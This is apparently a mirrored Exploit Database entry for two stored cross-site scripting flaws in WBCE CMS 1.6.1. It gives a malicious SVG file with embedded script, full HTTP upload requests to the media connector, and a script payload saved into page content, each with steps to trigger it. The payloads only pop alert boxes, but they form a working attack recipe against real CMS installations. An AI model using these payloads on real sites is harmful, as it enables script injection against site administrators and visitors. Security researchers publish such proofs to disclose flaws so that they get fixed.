WBCE CMS 1.6.1 – Multiple Stored Cross-Site Scripting (XSS)

• Exploit Database
• 38 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-05-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51484/

• Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS)
  Version: 1.6.1
  Bugs:XSS
  Technology: PHP
  Vendor URL: https://wbce-cms.org/
  Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
  Date of found: 03-05-2023
  Author: Mirabbas Ağalarov
  Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  ###XSS-1###
  steps: 
  
  1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/)
  2. upload malicious svg file
  
  svg file content ===>
  
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  
  
  poc request:
  
  POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
  Host: localhost
  Content-Length: 976
  sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
  sec-ch-ua-platform: "Linux"
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtO
  Accept: */*
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167
  Connection: close
  
  ------WebKitFormBoundary5u4r3pOGl4EnuBtO
  Content-Disposition: form-data; name="reqid"
  
  187de34ea92ac
  ------WebKitFormBoundary5u4r3pOGl4EnuBtO
  Content-Disposition: form-data; name="cmd"
  
  upload
  ------WebKitFormBoundary5u4r3pOGl4EnuBtO
  Content-Disposition: form-data; name="target"
  
  l1_Lw
  ------WebKitFormBoundary5u4r3pOGl4EnuBtO
  Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"
  Content-Type: image/svg+xml
  
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  ------WebKitFormBoundary5u4r3pOGl4EnuBtO
  Content-Disposition: form-data; name="mtime[]"
  
  1683056102
  ------WebKitFormBoundary5u4r3pOGl4EnuBtO--
  
  
  3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg)
  
  
  
  ========================================================================================================================
  
  ###XSS-2###
  
  1. go to pages(http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages)
  2. add page
  3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E)
  payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3E
  poc request:
  
  POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1
  Host: localhost
  Content-Length: 143
  Cache-Control: max-age=0
  sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
  sec-ch-ua-mobile: ?0
  sec-ch-ua-platform: "Linux"
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: document
  Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475
  Connection: close
  
  page_id=4&section_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save
  
  
  4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php